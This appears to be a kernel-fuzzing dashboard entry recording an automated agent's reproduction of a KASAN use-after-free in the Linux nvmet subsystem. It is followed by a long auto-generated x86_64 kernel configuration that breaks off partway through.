ID Workflow Result Correct Bug Created Started Finished Revision
1d9b9260 repro-c Reproduced: ✅ ❓ KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link 2026/08/26 14:11 2026/08/26 17:40 2026/08/26 18:34 a2b77b9e
Agent: prod-syz-agent-0
External Bug ID: ---

Inputs:
BaseBranch master
BaseCommit RC
BaseRepository git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
BugTitle KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link
CrashLogID 4593284875288576
CrashReportID 5289894210961408
KernelCommit 26260251022fbc2f248a3d747a9b2b961b18d2d8
KernelConfig
Show (281286 bytes)
#
# Automatically generated file; DO NOT EDIT.
# Linux/x86_64 syzkaller Kernel Configuration
#
CONFIG_CC_VERSION_TEXT="gcc (Debian 14.2.0-19) 14.2.0"
CONFIG_CC_IS_GCC=y
CONFIG_GCC_VERSION=140200
CONFIG_CLANG_VERSION=0
CONFIG_AS_IS_GNU=y
CONFIG_AS_VERSION=24400
CONFIG_LD_IS_BFD=y
CONFIG_LD_VERSION=24400
CONFIG_LLD_VERSION=0
CONFIG_RUSTC_VERSION=109600
CONFIG_RUST_IS_AVAILABLE=y
CONFIG_RUSTC_LLVM_VERSION=220102
CONFIG_RUSTC_LLVM_MAJOR_VERSION=22
CONFIG_CC_CAN_LINK=y
CONFIG_CC_HAS_ASM_GOTO_OUTPUT=y
CONFIG_CC_HAS_ASM_GOTO_TIED_OUTPUT=y
CONFIG_TOOLS_SUPPORT_RELR=y
CONFIG_CC_HAS_ASM_INLINE=y
CONFIG_CC_HAS_ASSUME=y
CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y
CONFIG_LD_CAN_USE_KEEP_IN_OVERLAY=y
CONFIG_RUSTC_HAS_SPAN_FILE=y
CONFIG_RUSTC_HAS_UNNECESSARY_TRANSMUTES=y
CONFIG_RUSTC_HAS_FILE_WITH_NUL=y
CONFIG_RUSTC_HAS_FILE_AS_C_STR=y
CONFIG_PAHOLE_VERSION=130
CONFIG_CONSTRUCTORS=y
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_TABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_INIT_ENV_ARG_LIMIT=32
# CONFIG_COMPILE_TEST is not set
# CONFIG_WERROR is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_BUILD_SALT=""
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_HAVE_KERNEL_ZSTD=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
# CONFIG_KERNEL_ZSTD is not set
CONFIG_DEFAULT_INIT=""
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
CONFIG_WATCH_QUEUE=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_AUDIT=y
CONFIG_HAVE_ARCH_AUDITSYSCALL=y
CONFIG_AUDITSYSCALL=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y
CONFIG_GENERIC_PENDING_IRQ=y
CONFIG_GENERIC_IRQ_MIGRATION=y
CONFIG_HARDIRQS_SW_RESEND=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y
CONFIG_GENERIC_IRQ_RESERVATION_MODE=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
# CONFIG_GENERIC_IRQ_DEBUGFS is not set
# end of IRQ subsystem

CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_INIT=y
CONFIG_ARCH_WANTS_CLOCKSOURCE_READ_INLINE=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED=y
CONFIG_GENERIC_CLOCKEVENTS_COUPLED_INLINE=y
CONFIG_GENERIC_CMOS_UPDATE=y
CONFIG_HRTIMER_REARM_DEFERRED=y
CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y
CONFIG_CONTEXT_TRACKING=y
CONFIG_CONTEXT_TRACKING_IDLE=y

#
# Timers subsystem
#
CONFIG_TICK_ONESHOT=y
CONFIG_NO_HZ_COMMON=y
# CONFIG_HZ_PERIODIC is not set
CONFIG_NO_HZ_IDLE=y
# CONFIG_NO_HZ_FULL is not set
CONFIG_CONTEXT_TRACKING_USER=y
# CONFIG_CONTEXT_TRACKING_USER_FORCE is not set
CONFIG_NO_HZ=y
CONFIG_HIGH_RES_TIMERS=y
CONFIG_POSIX_AUX_CLOCKS=y
# end of Timers subsystem

CONFIG_BPF=y
CONFIG_HAVE_EBPF_JIT=y
CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y

#
# BPF subsystem
#
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
# CONFIG_BPF_JIT_ALWAYS_ON is not set
CONFIG_BPF_JIT_DEFAULT_ON=y
# CONFIG_BPF_UNPRIV_DEFAULT_OFF is not set
CONFIG_BPF_PRELOAD=y
CONFIG_BPF_PRELOAD_UMD=y
CONFIG_BPF_LSM=y
# end of BPF subsystem

CONFIG_PREEMPT_BUILD=y
CONFIG_ARCH_HAS_PREEMPT_LAZY=y
CONFIG_PREEMPT=y
# CONFIG_PREEMPT_LAZY is not set
# CONFIG_PREEMPT_RT is not set
CONFIG_PREEMPT_COUNT=y
CONFIG_HAS_SEPARATE_PREEMPT_RESCHED_BITS=y
CONFIG_PREEMPTION=y
CONFIG_PREEMPT_DYNAMIC=y
CONFIG_SCHED_CORE=y

#
# CPU/Task time and stats accounting
#
CONFIG_VIRT_CPU_ACCOUNTING=y
# CONFIG_TICK_CPU_ACCOUNTING is not set
CONFIG_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_SCHED_AVG_IRQ=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y
CONFIG_PSI=y
# CONFIG_PSI_DEFAULT_DISABLED is not set
# end of CPU/Task time and stats accounting

CONFIG_CPU_ISOLATION=y

#
# RCU Subsystem
#
CONFIG_TREE_RCU=y
CONFIG_PREEMPT_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_TREE_SRCU=y
CONFIG_TASKS_RCU_GENERIC=y
CONFIG_NEED_TASKS_RCU=y
CONFIG_TASKS_RCU=y
CONFIG_TASKS_TRACE_RCU=y
CONFIG_RCU_STALL_COMMON=y
CONFIG_RCU_NEED_SEGCBLIST=y
# end of RCU Subsystem

CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_IKHEADERS is not set
CONFIG_LOG_BUF_SHIFT=18
CONFIG_LOG_CPU_MAX_BUF_SHIFT=12
# CONFIG_PRINTK_INDEX is not set
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y

#
# Scheduler features
#
# CONFIG_UCLAMP_TASK is not set
# CONFIG_SCHED_PROXY_EXEC is not set
# end of Scheduler features

CONFIG_ARCH_HAS_PTE_PROTNONE=y
CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y
CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y
CONFIG_CC_HAS_INT128=y
CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5"
CONFIG_CC_MS_EXTENSIONS="-fms-extensions"
CONFIG_GCC10_NO_ARRAY_BOUNDS=y
CONFIG_CC_NO_ARRAY_BOUNDS=y
CONFIG_GCC_NO_STRINGOP_OVERFLOW=y
CONFIG_CC_NO_STRINGOP_OVERFLOW=y
CONFIG_ARCH_SUPPORTS_INT128=y
CONFIG_NUMA_BALANCING=y
CONFIG_SCHED_CACHE=y
CONFIG_NUMA_BALANCING_DEFAULT_ENABLED=y
CONFIG_SLAB_OBJ_EXT=y
CONFIG_CGROUPS=y
CONFIG_PAGE_COUNTER=y
# CONFIG_CGROUP_FAVOR_DYNMODS is not set
CONFIG_MEMCG=y
CONFIG_MEMCG_V1=y
CONFIG_BLK_CGROUP=y
CONFIG_CGROUP_WRITEBACK=y
CONFIG_CGROUP_SCHED=y
CONFIG_GROUP_SCHED_WEIGHT=y
CONFIG_GROUP_SCHED_BANDWIDTH=y
CONFIG_FAIR_GROUP_SCHED=y
CONFIG_CFS_BANDWIDTH=y
# CONFIG_RT_GROUP_SCHED is not set
CONFIG_SCHED_MM_CID=y
CONFIG_CGROUP_PIDS=y
CONFIG_CGROUP_RDMA=y
# CONFIG_CGROUP_DMEM is not set
CONFIG_CGROUP_FREEZER=y
CONFIG_CGROUP_HUGETLB=y
CONFIG_CPUSETS=y
# CONFIG_CPUSETS_V1 is not set
CONFIG_CGROUP_DEVICE=y
CONFIG_CGROUP_CPUACCT=y
CONFIG_CGROUP_PERF=y
# CONFIG_CGROUP_BPF is not set
CONFIG_CGROUP_MISC=y
CONFIG_CGROUP_DEBUG=y
CONFIG_SOCK_CGROUP_DATA=y
CONFIG_NAMESPACES=y
CONFIG_UTS_NS=y
CONFIG_TIME_NS=y
CONFIG_TIME_NS_VDSO=y
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
CONFIG_CHECKPOINT_RESTORE=y
# CONFIG_SCHED_AUTOGROUP is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_RD_LZ4=y
CONFIG_RD_ZSTD=y
# CONFIG_BOOT_CONFIG is not set
CONFIG_CMDLINE_LOG_WRAP_IDEAL_LEN=1021
CONFIG_INITRAMFS_PRESERVE_MTIME=y
CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_LD_ORPHAN_WARN=y
CONFIG_LD_ORPHAN_WARN_LEVEL="warn"
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_SYSFS_SYSCALL=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_EXPERT=y
CONFIG_UID16=y
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_FHANDLE=y
CONFIG_POSIX_TIMERS=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
# CONFIG_BASE_SMALL is not set
CONFIG_FUTEX=y
CONFIG_FUTEX_PI=y
CONFIG_FUTEX_PRIVATE_HASH=y
CONFIG_FUTEX_MPOL=y
CONFIG_HAVE_FUTEX_ROBUST_UNLOCK=y
CONFIG_FUTEX_ROBUST_UNLOCK=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_IO_URING=y
CONFIG_IO_URING_MOCK_FILE=y
CONFIG_ADVISE_SYSCALLS=y
CONFIG_MEMBARRIER=y
CONFIG_KCMP=y
CONFIG_RSEQ=y
CONFIG_RSEQ_SLICE_EXTENSION=y
# CONFIG_RSEQ_STATS is not set
# CONFIG_RSEQ_DEBUG_DEFAULT_ENABLE is not set
CONFIG_CACHESTAT_SYSCALL=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_SELFTEST is not set
CONFIG_KALLSYMS_ALL=y
CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y
CONFIG_ARCH_SUPPORTS_MSEAL_SYSTEM_MAPPINGS=y
CONFIG_HAVE_PERF_EVENTS=y
CONFIG_GUEST_PERF_EVENTS=y
CONFIG_PERF_GUEST_MEDIATED_PMU=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
# end of Kernel Performance Events And Counters

CONFIG_SYSTEM_DATA_VERIFICATION=y
CONFIG_PROFILING=y
CONFIG_TRACEPOINTS=y

#
# Kexec and crash features
#
CONFIG_CRASH_RESERVE=y
CONFIG_VMCORE_INFO=y
CONFIG_KEXEC_CORE=y
CONFIG_KEXEC=y
# CONFIG_KEXEC_FILE is not set
# CONFIG_KEXEC_JUMP is not set
CONFIG_CRASH_DUMP=y
CONFIG_CRASH_HOTPLUG=y
CONFIG_CRASH_MAX_MEMORY_RANGES=8192
# end of Kexec and crash features

#
# Live Update and Kexec HandOver
#
# CONFIG_KEXEC_HANDOVER is not set
# end of Live Update and Kexec HandOver
# end of General setup

CONFIG_64BIT=y
CONFIG_X86_64=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf64-x86-64"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=28
CONFIG_ARCH_MMAP_RND_BITS_MAX=32
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_CSUM=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_AUDIT_ARCH=y
CONFIG_KASAN_SHADOW_OFFSET=0xdffffc0000000000
CONFIG_HAVE_INTEL_TXT=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=5

#
# Processor type and features
#
CONFIG_SMP=y
CONFIG_X86_X2APIC=y
# CONFIG_X86_POSTED_MSI is not set
CONFIG_X86_MPPARSE=y
# CONFIG_X86_CPU_RESCTRL is not set
CONFIG_X86_FRED=y
CONFIG_X86_EXTENDED_PLATFORM=y
# CONFIG_X86_NUMACHIP is not set
# CONFIG_X86_VSMP is not set
# CONFIG_X86_INTEL_MID is not set
# CONFIG_X86_GOLDFISH is not set
# CONFIG_X86_INTEL_LPSS is not set
# CONFIG_X86_AMD_PLATFORM_DEVICE is not set
CONFIG_IOSF_MBI=y
# CONFIG_IOSF_MBI_DEBUG is not set
CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y
CONFIG_SCHED_OMIT_FRAME_POINTER=y
CONFIG_HYPERVISOR_GUEST=y
CONFIG_PARAVIRT=y
CONFIG_PARAVIRT_SPINLOCKS=y
CONFIG_X86_HV_CALLBACK_VECTOR=y
# CONFIG_XEN is not set
CONFIG_KVM_GUEST=y
CONFIG_ARCH_CPUIDLE_HALTPOLL=y
CONFIG_PVH=y
# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set
CONFIG_PARAVIRT_CLOCK=y
# CONFIG_JAILHOUSE_GUEST is not set
# CONFIG_ACRN_GUEST is not set
# CONFIG_BHYVE_GUEST is not set
CONFIG_CC_HAS_MARCH_NATIVE=y
# CONFIG_X86_NATIVE_CPU is not set
CONFIG_X86_INTERNODE_CACHE_SHIFT=6
CONFIG_X86_L1_CACHE_SHIFT=6
CONFIG_X86_TSC=y
CONFIG_X86_HAVE_PAE=y
CONFIG_X86_CX8=y
CONFIG_X86_CMOV=y
CONFIG_X86_MINIMUM_CPU_FAMILY=64
CONFIG_X86_DEBUGCTLMSR=y
CONFIG_IA32_FEAT_CTL=y
CONFIG_X86_VMX_FEATURE_NAMES=y
CONFIG_PROCESSOR_SELECT=y
CONFIG_CPU_SUP_INTEL=y
CONFIG_CPU_SUP_AMD=y
# CONFIG_CPU_SUP_HYGON is not set
# CONFIG_CPU_SUP_CENTAUR is not set
# CONFIG_CPU_SUP_ZHAOXIN is not set
CONFIG_BROADCAST_TLB_FLUSH=y
CONFIG_HPET_TIMER=y
CONFIG_HPET_EMULATE_RTC=y
CONFIG_DMI=y
# CONFIG_GART_IOMMU is not set
CONFIG_BOOT_VESA_SUPPORT=y
# CONFIG_MAXSMP is not set
CONFIG_NR_CPUS_RANGE_BEGIN=2
CONFIG_NR_CPUS_RANGE_END=512
CONFIG_NR_CPUS_DEFAULT=64
CONFIG_NR_CPUS=8
CONFIG_SCHED_MC_PRIO=y
CONFIG_X86_LOCAL_APIC=y
CONFIG_ACPI_MADT_WAKEUP=y
CONFIG_X86_IO_APIC=y
CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y
CONFIG_X86_MCE=y
# CONFIG_X86_MCELOG_LEGACY is not set
CONFIG_X86_MCE_INTEL=y
CONFIG_X86_MCE_AMD=y
CONFIG_X86_MCE_THRESHOLD=y
# CONFIG_X86_MCE_INJECT is not set

#
# Performance monitoring
#
CONFIG_PERF_EVENTS_INTEL_UNCORE=y
CONFIG_PERF_EVENTS_INTEL_RAPL=y
CONFIG_PERF_EVENTS_INTEL_CSTATE=y
# CONFIG_PERF_EVENTS_AMD_POWER is not set
CONFIG_PERF_EVENTS_AMD_UNCORE=y
# CONFIG_PERF_EVENTS_AMD_BRS is not set
# end of Performance monitoring

CONFIG_X86_16BIT=y
CONFIG_X86_ESPFIX64=y
CONFIG_X86_VSYSCALL_EMULATION=y
CONFIG_X86_IOPL_IOPERM=y
CONFIG_MICROCODE=y
# CONFIG_MICROCODE_LATE_LOADING is not set
# CONFIG_MICROCODE_DBG is not set
CONFIG_X86_MSR=y
CONFIG_X86_CPUID=y
CONFIG_X86_DIRECT_GBPAGES=y
# CONFIG_X86_CPA_STATISTICS is not set
CONFIG_NUMA=y
CONFIG_AMD_NUMA=y
CONFIG_X86_64_ACPI_NUMA=y
CONFIG_NODES_SHIFT=6
CONFIG_ARCH_SPARSEMEM_ENABLE=y
CONFIG_ARCH_SPARSEMEM_DEFAULT=y
# CONFIG_ARCH_MEMORY_PROBE is not set
CONFIG_ARCH_PROC_KCORE_TEXT=y
CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000
# CONFIG_X86_PMEM_LEGACY is not set
# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set
CONFIG_MTRR=y
# CONFIG_MTRR_SANITIZER is not set
CONFIG_X86_PAT=y
CONFIG_X86_UMIP=y
CONFIG_CC_HAS_IBT=y
CONFIG_X86_CET=y
CONFIG_X86_KERNEL_IBT=y
CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS=y
CONFIG_ARCH_PKEY_BITS=4
# CONFIG_X86_INTEL_TSX_MODE_OFF is not set
CONFIG_X86_INTEL_TSX_MODE_ON=y
# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set
CONFIG_X86_SGX=y
CONFIG_X86_USER_SHADOW_STACK=y
# CONFIG_INTEL_TDX_HOST is not set
# CONFIG_EFI is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
CONFIG_SCHED_HRTICK=y
CONFIG_ARCH_SUPPORTS_KEXEC=y
CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y
CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y
CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y
CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y
CONFIG_ARCH_SUPPORTS_KEXEC_HANDOVER=y
CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y
CONFIG_ARCH_DEFAULT_CRASH_DUMP=y
CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y
CONFIG_ARCH_HAS_GENERIC_CRASHKERNEL_RESERVATION=y
CONFIG_PHYSICAL_START=0x1000000
# CONFIG_RELOCATABLE is not set
CONFIG_PHYSICAL_ALIGN=0x200000
CONFIG_HOTPLUG_CPU=y
# CONFIG_COMPAT_VDSO is not set
CONFIG_LEGACY_VSYSCALL_XONLY=y
# CONFIG_LEGACY_VSYSCALL_NONE is not set
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="earlyprintk=serial net.ifnames=0 sysctl.kernel.hung_task_all_cpu_backtrace=1 ima_policy=tcb nf-conntrack-ftp.ports=20000 nf-conntrack-tftp.ports=20000 nf-conntrack-sip.ports=20000 nf-conntrack-irc.ports=20000 nf-conntrack-sane.ports=20000 binder.debug_mask=0 rcupdate.rcu_expedited=1 rcupdate.rcu_cpu_stall_cputime=1 no_hash_pointers page_owner=on sysctl.vm.nr_hugepages=4 sysctl.vm.nr_overcommit_hugepages=4 secretmem.enable=1 sysctl.max_rcu_stall_to_panic=1 msr.allow_writes=off coredump_filter=0xffff root=/dev/sda console=ttyS0 vsyscall=native numa=fake=2 kvm-intel.nested=1 spec_store_bypass_disable=prctl nopcid vivid.n_devs=64 vivid.multiplanar=1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2,1,2 netrom.nr_ndevs=32 rose.rose_ndevs=32 smp.csd_lock_timeout=100000 watchdog_thresh=55 workqueue.watchdog_thresh=140 sysctl.net.core.netdev_unregister_timeout_secs=140 dummy_hcd.num=32 max_loop=32 nbds_max=32 comedi.comedi_num_legacy_minors=4 panic_on_warn=1"
# CONFIG_CMDLINE_OVERRIDE is not set
CONFIG_MODIFY_LDT_SYSCALL=y
# CONFIG_STRICT_SIGALTSTACK_SIZE is not set
CONFIG_HAVE_LIVEPATCH=y
CONFIG_HAVE_KLP_BUILD=y
CONFIG_X86_BUS_LOCK_DETECT=y
# end of Processor type and features

CONFIG_CC_HAS_NAMED_AS=y
CONFIG_CC_HAS_NAMED_AS_FIXED_SANITIZERS=y
CONFIG_USE_X86_SEG_SUPPORT=y
CONFIG_CC_HAS_SLS=y
CONFIG_CC_HAS_RETURN_THUNK=y
CONFIG_CC_HAS_ENTRY_PADDING=y
CONFIG_FUNCTION_PADDING_CFI=11
CONFIG_FUNCTION_PADDING_BYTES=16
CONFIG_CALL_PADDING=y
CONFIG_HAVE_CALL_THUNKS=y
CONFIG_CALL_THUNKS=y
CONFIG_CPU_MITIGATIONS=y
CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y
CONFIG_MITIGATION_RETPOLINE=y
CONFIG_MITIGATION_RETHUNK=y
CONFIG_MITIGATION_UNRET_ENTRY=y
CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y
# CONFIG_CALL_THUNKS_DEBUG is not set
CONFIG_MITIGATION_IBPB_ENTRY=y
CONFIG_MITIGATION_IBRS_ENTRY=y
CONFIG_MITIGATION_SRSO=y
# CONFIG_MITIGATION_SLS is not set
CONFIG_MITIGATION_GDS=y
CONFIG_MITIGATION_RFDS=y
CONFIG_MITIGATION_SPECTRE_BHI=y
CONFIG_MITIGATION_MDS=y
CONFIG_MITIGATION_TAA=y
CONFIG_MITIGATION_MMIO_STALE_DATA=y
CONFIG_MITIGATION_L1TF=y
CONFIG_MITIGATION_RETBLEED=y
CONFIG_MITIGATION_SPECTRE_V1=y
CONFIG_MITIGATION_SPECTRE_V2=y
CONFIG_MITIGATION_SRBDS=y
CONFIG_MITIGATION_SSB=y
CONFIG_MITIGATION_ITS=y
CONFIG_MITIGATION_TSA=y
# CONFIG_MITIGATION_VMSCAPE is not set
CONFIG_ARCH_HAS_ADD_PAGES=y

#
# Power management and ACPI options
#
CONFIG_ARCH_HIBERNATION_HEADER=y
CONFIG_SUSPEND=y
CONFIG_SUSPEND_FREEZER=y
# CONFIG_SUSPEND_SKIP_SYNC is not set
CONFIG_HIBERNATE_CALLBACKS=y
CONFIG_HIBERNATION=y
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HIBERNATION_COMP_LZO=y
# CONFIG_HIBERNATION_COMP_LZ4 is not set
CONFIG_HIBERNATION_DEF_COMP="lzo"
CONFIG_PM_STD_PARTITION=""
CONFIG_PM_SLEEP=y
CONFIG_PM_SLEEP_SMP=y
# CONFIG_PM_AUTOSLEEP is not set
# CONFIG_PM_USERSPACE_AUTOSLEEP is not set
# CONFIG_PM_WAKELOCKS is not set
# CONFIG_PM_QOS_CPU_SYSTEM_WAKEUP is not set
CONFIG_PM=y
CONFIG_PM_DEBUG=y
# CONFIG_PM_ADVANCED_DEBUG is not set
# CONFIG_PM_TEST_SUSPEND is not set
CONFIG_PM_SLEEP_DEBUG=y
# CONFIG_DPM_WATCHDOG is not set
CONFIG_PM_TRACE=y
CONFIG_PM_TRACE_RTC=y
CONFIG_PM_CLK=y
# CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set
# CONFIG_ENERGY_MODEL is not set
CONFIG_ARCH_SUPPORTS_ACPI=y
CONFIG_ACPI=y
CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y
CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y
CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y
CONFIG_ACPI_THERMAL_LIB=y
# CONFIG_ACPI_DEBUGGER is not set
CONFIG_ACPI_SPCR_TABLE=y
# CONFIG_ACPI_FPDT is not set
CONFIG_ACPI_LPIT=y
CONFIG_ACPI_SLEEP=y
CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y
CONFIG_ACPI_EC=y
# CONFIG_ACPI_EC_DEBUGFS is not set
CONFIG_ACPI_AC=y
CONFIG_ACPI_BATTERY=y
CONFIG_ACPI_BUTTON=y
CONFIG_ACPI_VIDEO=y
CONFIG_ACPI_FAN=y
# CONFIG_ACPI_TAD is not set
CONFIG_ACPI_DOCK=y
CONFIG_ACPI_CPU_FREQ_PSS=y
CONFIG_ACPI_PROCESSOR_CSTATE=y
CONFIG_ACPI_PROCESSOR_IDLE=y
CONFIG_ACPI_CPPC_LIB=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_HOTPLUG_CPU=y
# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_PLATFORM_PROFILE=y
CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_TABLE_UPGRADE=y
CONFIG_ACPI_DEBUG=y
# CONFIG_ACPI_PCI_SLOT is not set
CONFIG_ACPI_CONTAINER=y
# CONFIG_ACPI_HOTPLUG_MEMORY is not set
CONFIG_ACPI_HOTPLUG_IOAPIC=y
# CONFIG_ACPI_SBS is not set
# CONFIG_ACPI_HED is not set
# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set
CONFIG_ACPI_NHLT=y
CONFIG_ACPI_NFIT=y
# CONFIG_NFIT_SECURITY_DEBUG is not set
CONFIG_ACPI_NUMA=y
# CONFIG_ACPI_HMAT is not set
CONFIG_HAVE_ACPI_APEI=y
CONFIG_HAVE_ACPI_APEI_NMI=y
# CONFIG_ACPI_APEI is not set
# CONFIG_ACPI_DPTF is not set
# CONFIG_ACPI_EXTLOG is not set
# CONFIG_ACPI_CONFIGFS is not set
# CONFIG_ACPI_PFRUT is not set
CONFIG_ACPI_PCC=y
# CONFIG_ACPI_FFH is not set
CONFIG_ACPI_MRRM=y
CONFIG_PMIC_OPREGION=y
CONFIG_BXT_WC_PMIC_OPREGION=y
# CONFIG_CHT_WC_PMIC_OPREGION is not set
CONFIG_X86_PM_TIMER=y

#
# CPU Frequency scaling
#
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_GOV_ATTR_SET=y
CONFIG_CPU_FREQ_GOV_COMMON=y
# CONFIG_CPU_FREQ_STAT is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_GOV_USERSPACE=y
